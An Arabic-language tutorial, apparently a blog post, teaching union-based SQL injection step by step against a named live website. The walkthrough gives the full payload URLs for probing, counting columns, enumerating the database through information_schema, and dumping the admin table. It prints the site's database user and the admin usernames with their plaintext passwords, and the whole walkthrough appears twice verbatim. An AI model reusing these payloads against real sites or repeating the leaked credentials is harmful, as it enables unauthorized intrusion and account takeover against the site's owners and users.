بسم الله الرحمان الرحيم
و السلام عليكم و رحمة الله تعالى و بركاته معكم ايوب نيهو من نادي المعلوميات
اليوم ساقدم لكم شرح استغلال تغرة منتشرة في الشبكة العنكبوتية تدعى SQL
أولا
××××××××××××××فهم و استيعاب المصطلحات××××××××××××××
*******************************************************************************************
SQL ما هي
ثغرة
---------------
هي خطأ برمجي
يسمح لك بتطبيق اوامر معينة مما تتيح لك استعراض البيانات الموجودة بقاعدة بيانات
الموقع
هاته الثغرة ناتجة عن خطأ برمجي اقترفه مبرمج الموقع
هاته الثغرة ناتجة عن خطأ برمجي اقترفه مبرمج الموقع
و في هذا
الشرح سنطبق على هذا الموقع
http://jt-impex.com/pages.php?page=1
jt-impex اسم
الموقع
pages :هذه هي صفحة الاخبار
هو المتغير
الذي يظهر لنا معلومات الخبر رقم 1 id
*******************************************************************************************
(')
SQL Injection هذه العلامة التي بين قوسين هي
التي سنستخدمها في الكشف عن المواقع المصابة بثغرة
*******************************************************************************************
Version()
وظيفة الامر
هي استخراج اصدار قاعدة بيانات الموقع الهدف
وهنالك
اصدارين لقواعد البيانات
الاصدار
الخامس 5
والاصدار
الرابع 4
الاصدار
الخامس
يعتمد على تطبيق أوامر مما يسمح لك باستخراج كافة الجداول الموجودة بقاعدة بيانات الموقع الهدف
يعتمد على تطبيق أوامر مما يسمح لك باستخراج كافة الجداول الموجودة بقاعدة بيانات الموقع الهدف
الاصدار الرابع
من اعقد الاصدارت فهو يعتمد على التخمين
مثلا اذا اردت استخراج معلومات جدول الادمن يجب عليك تخمين اسم جدول الادمن واسم العامود الذي يحوي اسم المستخدم وكلمة المرور للموقع
فسيكون
تطبيقنا في الشرح على الاصدار الخامس
*******************************************************************************************
database()
database()
وظيفة الامر
استخراج اسم قاعدة بيانات الموقع الهدف
*******************************************************************************************
user()
وظيفة الامر
استخراج يوزر قاعدة بيانات الموقع الهدف
*******************************************************************************************
+order+by+
هذا الامر
الذي سنستخدمه في معرفة عدد الاعمدة
*******************************************************************************************
+union+select+
هذا الامر
الذي سنستخدمه في معرفة العواميد المصابة
*******************************************************************************************
group_concat(table_name)
هذا الامر
يوضع مكان العامود المصاب
*******************************************************************************************
+from+information_schema.tables+where+table_schema
=database()--
هذا الامر
يوضع مع الامر
group_concat(table_name)
ولكن
في اخر الرابط
فيستخدمان
هذان الامرين معا في استخراج الجداول الموجودة بداخل قاعدة بيانات الموقع الهدف
*******************************************************************************************
group_concat(column_name)
group_concat(column_name)
هذا الامر
يوضع مكان العامود المصاب
*******************************************************************************************
+from+information_schema.columns+where+table_schema
=database()--
هذا الامر
يوضع مع الامر
group_concat(column_name)
ولكن
في اخر الرابط
فيستخدمان
هذان الامرين معا في استخراج الأعمدة الموجودة بداخل قاعدة بيانات الموقع الهدف
*******************************************************************************************
ثانيا
××××××××××××××التطبيق××××××××××××××
http://jt-impex.com/pages.php?page=1
1
أولا نقوم بفحص الرابط .. هل مصاب أم لا
http://jt-impex.com/pages.php?page=1'
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/jtimpex/public_html/include/pages.php on line 7
2
وراء المتغير order by 1 ثانيا نضيف الإستعلام
jt-impex.com/pages.php?page=1 order by 1--
جيد لم يظهر لنا أي خطأ و هذا يعني أن الموقع يحتوي على عمود واحد على الأقل
لأن كل المواقع يجب على الأقل أن تتوفر على عمود واحد
3
order by 10 بالإستعلام order by 1 ثالتا نغير الإستعلام
jt-impex.com/pages.php?page=1 order by 10--
إذا اشتغلت الصفحة جيدا فهذا يعني أن الموقع يحتوي على أكثر من 10 أعمدة
و إذا لم تشتغل أو أظهرت خطأ من نوع ما .. فإن الصفحة تحتوي على أقل من 10 أعمدة
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/jtimpex/public_html/include/pages.php on line 7
ظهر لنا خطأ
إذن فالموقع يحتوي على أقل من 10 أعمدة
order by 5 نجرب
jt-impex.com/pages.php?page=1 order by 5--
لم يظهر الخطأ و هذا يعني أن الموقع يحتوي على
أكثر من 5 أعمدة
و أقل من 10 أعمدة
order by 7 نجرب
jt-impex.com/pages.php?page=1 order by 7--
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/jtimpex/public_html/include/pages.php on line 7
ظهر الخطأ .. و هذا يعني أن الموقع يحتوي على أقل من 7 أعمدة
إذن فالموقع يحتوي على أكثر من 5 أعمدة و أقل من 7
order by 6 نجرب
jt-impex.com/pages.php?page=1 order by 6--
لم يظهر الخطأ و هذا يعني أن الموقع يحتوي على 6 أعمدة
لأن الخطأ اختفى في 7 أعمدة
4
union select رابعا نستخرج الأعمدة المصابة باستعمال الإستعلام
jt-impex.com/pages.php?page=-1 union select 1,2,3,4,5,6--
لا تنسوا (-) قبل المتغير 1 و (,) بين كل عمود
ظهر لنا رقم 4 في الموقع .. إذن فالعمود المصاب هو العمود رقم 4
5
مكان العمود المصاب .. أي مكان الرقم 4 version() خامسا نستخرج إصدار قاعدة البيانات، و ذلك باستعمال الإستعلام
jt-impex.com/pages.php?page=-1 union select 1,2,3,version(),5,6--
5.0.95-community --- الإصدار الخامس
6
مكان العمود المصاب .. أي مكان الرقم 4 database() سادسا نستخرج إسم قاعدة البيانات، و ذلك باستعمال الإستعلام
jt-impex.com/pages.php?page=-1 union select 1,2,3,database(),5,6--
jtimpex_jt --- اسم قاعدة البيانات
7
مكان العمود المصاب .. أي مكان الرقم 4 user() سابعا نستخرج إسم اليوزر، و ذلك باستعمال الإستعلام
jt-impex.com/pages.php?page=-1 union select 1,2,3,user(),5,6--
jtimpex_imp@localhost --- اسم اليوزر
8
مكان العمود المصاب .. أي مكان الرقم 4 group_concat(table_name) ثامنا نستخرج أسماء الجداول، و ذلك باستعمال الإستعلام
from information_schema.tables where table_schema=database()--و بإضافة الإستعلام
jt-impex.com/pages.php?page=-1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--
di_dynamic_admin,di_dynamic_cart,di_dynamic_countries,di_dynamic_events,di_dynamic_orders,di_dynamic_pages,di_dynamic_products,
di_dynamic_scrollingnews,di_dynamic_sections,di_dynamic_settings,di_dynamic_subscription,di_dynamic_users
من هاته الجداول سنحتفض ب
di_dynamic_users
و
di_dynamic_admin
di_dynamic_admin لأنهما الأقرب من أن يكونا جداول الأدمن ... خصوصا
9
مكان العمود المصاب .. أي مكان الرقم 4 group_concat(column_name) تاسعا نستخرج أسماء الإعمدة، و ذلك باستعمال الإستعلام
from information_schema.columns where table_schema=database()--و بإضافة الإستعلام
jt-impex.com/pages.php?page=-1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=database()--
id,user,pass,level,user_name,disable,id,ordID,sessionID,pID,cartName,cartName2,quantity,cartDate,cartFinal,opt1,opt2,countryID,countryName,
countryEnabled,EventId,uid,EventYear,EventMonth,EventDay,EventTime,title,Event,id,userID,status,date,message,id,title,name,desc,porder,active,
pID,name,name2,pSection,pImage,desc,longDesc,enable,porder,recomended,opt1,opt2,id,heading,link,details,sID,name,name2,root,topSection,
enable,sOrder,desc,part,id,email,cName,owner,pppage,cppage,mailsubject,address,id,email,enable,id,user,pass,fName,mob,email,city,state,country,
address
من هاته الأعمدة سنحتفض ب
user
و
pass
لأننا نريد استخراج إسم المستخدم و كلمة المرور الخاصتين بصاحب الموقع
10
عاشرا نضع رابط الموقع و ندخل عليه أسماء الأعمدة و الجداول التي تهمنا بالطريقة التالية
jt-impex.com/pages.php?page=-1 union select 1,2,3,group_concat(user,0x3a,pass),5,6 from di_dynamic_users--
group_concat وراء user,0x3a,pass أضفنا الإستعلام
di_dynamic_users و إسم الجدول
0x3a هناك من سيتسائل ما معني
بكل بساطة تعني فاصلة و تستعمل للفصل بين كلمتين
مثلا هنا
user,0x3a,pass
تفصل بين العمودين user و pass
user:pass,webster:1234567,websterpro:123456,mujam:abc123,sh.kashif:nachar
ملحوظة
0x3a الإشارة (:) بين كل كلمة هي
مبروك عليكم
هناك 5 أدمينات في هذا الموقع
user:pass
webster:1234567
websterpro:123456
mujam:abc123
sh.kashif:nachar
و ها قد حصلنا على أسماء المستخدمين الذين لهم صلاحيات الأدمن
و باسوورداتهم جميعا
للإشارة .. فهذا الموقع سهل جدا في التعامل .. و لم نصطدم مع أي مشاكل
جل المواقع الأخرى يكون فيها مشاكل و بعض المرات لا تتجاوب معنا
و إن شاء الله سأقوم بشرح آخر كتابي لحل تلك المشاكل
*******************************************************************************************
الشرح مقدم من
Butcher Dark *******************************************************************************************
ثانيا
××××××××××××××التطبيق××××××××××××××
http://jt-impex.com/pages.php?page=1
1
أولا نقوم بفحص الرابط .. هل مصاب أم لا
http://jt-impex.com/pages.php?page=1'
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/jtimpex/public_html/include/pages.php on line 7
2
وراء المتغير order by 1 ثانيا نضيف الإستعلام
jt-impex.com/pages.php?page=1 order by 1--
جيد لم يظهر لنا أي خطأ و هذا يعني أن الموقع يحتوي على عمود واحد على الأقل
لأن كل المواقع يجب على الأقل أن تتوفر على عمود واحد
3
order by 10 بالإستعلام order by 1 ثالتا نغير الإستعلام
jt-impex.com/pages.php?page=1 order by 10--
إذا اشتغلت الصفحة جيدا فهذا يعني أن الموقع يحتوي على أكثر من 10 أعمدة
و إذا لم تشتغل أو أظهرت خطأ من نوع ما .. فإن الصفحة تحتوي على أقل من 10 أعمدة
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/jtimpex/public_html/include/pages.php on line 7
ظهر لنا خطأ
إذن فالموقع يحتوي على أقل من 10 أعمدة
order by 5 نجرب
jt-impex.com/pages.php?page=1 order by 5--
لم يظهر الخطأ و هذا يعني أن الموقع يحتوي على
أكثر من 5 أعمدة
و أقل من 10 أعمدة
order by 7 نجرب
jt-impex.com/pages.php?page=1 order by 7--
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/jtimpex/public_html/include/pages.php on line 7
ظهر الخطأ .. و هذا يعني أن الموقع يحتوي على أقل من 7 أعمدة
إذن فالموقع يحتوي على أكثر من 5 أعمدة و أقل من 7
order by 6 نجرب
jt-impex.com/pages.php?page=1 order by 6--
لم يظهر الخطأ و هذا يعني أن الموقع يحتوي على 6 أعمدة
لأن الخطأ اختفى في 7 أعمدة
4
union select رابعا نستخرج الأعمدة المصابة باستعمال الإستعلام
jt-impex.com/pages.php?page=-1 union select 1,2,3,4,5,6--
لا تنسوا (-) قبل المتغير 1 و (,) بين كل عمود
ظهر لنا رقم 4 في الموقع .. إذن فالعمود المصاب هو العمود رقم 4
5
مكان العمود المصاب .. أي مكان الرقم 4 version() خامسا نستخرج إصدار قاعدة البيانات، و ذلك باستعمال الإستعلام
jt-impex.com/pages.php?page=-1 union select 1,2,3,version(),5,6--
5.0.95-community --- الإصدار الخامس
6
مكان العمود المصاب .. أي مكان الرقم 4 database() سادسا نستخرج إسم قاعدة البيانات، و ذلك باستعمال الإستعلام
jt-impex.com/pages.php?page=-1 union select 1,2,3,database(),5,6--
jtimpex_jt --- اسم قاعدة البيانات
7
مكان العمود المصاب .. أي مكان الرقم 4 user() سابعا نستخرج إسم اليوزر، و ذلك باستعمال الإستعلام
jt-impex.com/pages.php?page=-1 union select 1,2,3,user(),5,6--
jtimpex_imp@localhost --- اسم اليوزر
8
مكان العمود المصاب .. أي مكان الرقم 4 group_concat(table_name) ثامنا نستخرج أسماء الجداول، و ذلك باستعمال الإستعلام
from information_schema.tables where table_schema=database()--و بإضافة الإستعلام
jt-impex.com/pages.php?page=-1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--
di_dynamic_admin,di_dynamic_cart,di_dynamic_countries,di_dynamic_events,di_dynamic_orders,di_dynamic_pages,di_dynamic_products,
di_dynamic_scrollingnews,di_dynamic_sections,di_dynamic_settings,di_dynamic_subscription,di_dynamic_users
من هاته الجداول سنحتفض ب
di_dynamic_users
و
di_dynamic_admin
di_dynamic_admin لأنهما الأقرب من أن يكونا جداول الأدمن ... خصوصا
9
مكان العمود المصاب .. أي مكان الرقم 4 group_concat(column_name) تاسعا نستخرج أسماء الإعمدة، و ذلك باستعمال الإستعلام
from information_schema.columns where table_schema=database()--و بإضافة الإستعلام
jt-impex.com/pages.php?page=-1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=database()--
id,user,pass,level,user_name,disable,id,ordID,sessionID,pID,cartName,cartName2,quantity,cartDate,cartFinal,opt1,opt2,countryID,countryName,
countryEnabled,EventId,uid,EventYear,EventMonth,EventDay,EventTime,title,Event,id,userID,status,date,message,id,title,name,desc,porder,active,
pID,name,name2,pSection,pImage,desc,longDesc,enable,porder,recomended,opt1,opt2,id,heading,link,details,sID,name,name2,root,topSection,
enable,sOrder,desc,part,id,email,cName,owner,pppage,cppage,mailsubject,address,id,email,enable,id,user,pass,fName,mob,email,city,state,country,
address
من هاته الأعمدة سنحتفض ب
user
و
pass
لأننا نريد استخراج إسم المستخدم و كلمة المرور الخاصتين بصاحب الموقع
10
عاشرا نضع رابط الموقع و ندخل عليه أسماء الأعمدة و الجداول التي تهمنا بالطريقة التالية
jt-impex.com/pages.php?page=-1 union select 1,2,3,group_concat(user,0x3a,pass),5,6 from di_dynamic_users--
group_concat وراء user,0x3a,pass أضفنا الإستعلام
di_dynamic_users و إسم الجدول
0x3a هناك من سيتسائل ما معني
بكل بساطة تعني فاصلة و تستعمل للفصل بين كلمتين
مثلا هنا
user,0x3a,pass
تفصل بين العمودين user و pass
user:pass,webster:1234567,websterpro:123456,mujam:abc123,sh.kashif:nachar
ملحوظة
0x3a الإشارة (:) بين كل كلمة هي
مبروك عليكم
هناك 5 أدمينات في هذا الموقع
user:pass
webster:1234567
websterpro:123456
mujam:abc123
sh.kashif:nachar
و ها قد حصلنا على أسماء المستخدمين الذين لهم صلاحيات الأدمن
و باسوورداتهم جميعا
للإشارة .. فهذا الموقع سهل جدا في التعامل .. و لم نصطدم مع أي مشاكل
جل المواقع الأخرى يكون فيها مشاكل و بعض المرات لا تتجاوب معنا
و إن شاء الله سأقوم بشرح آخر كتابي لحل تلك المشاكل
*******************************************************************************************
الشرح مقدم من
Butcher Dark *******************************************************************************************
0 التعليقات:
إرسال تعليق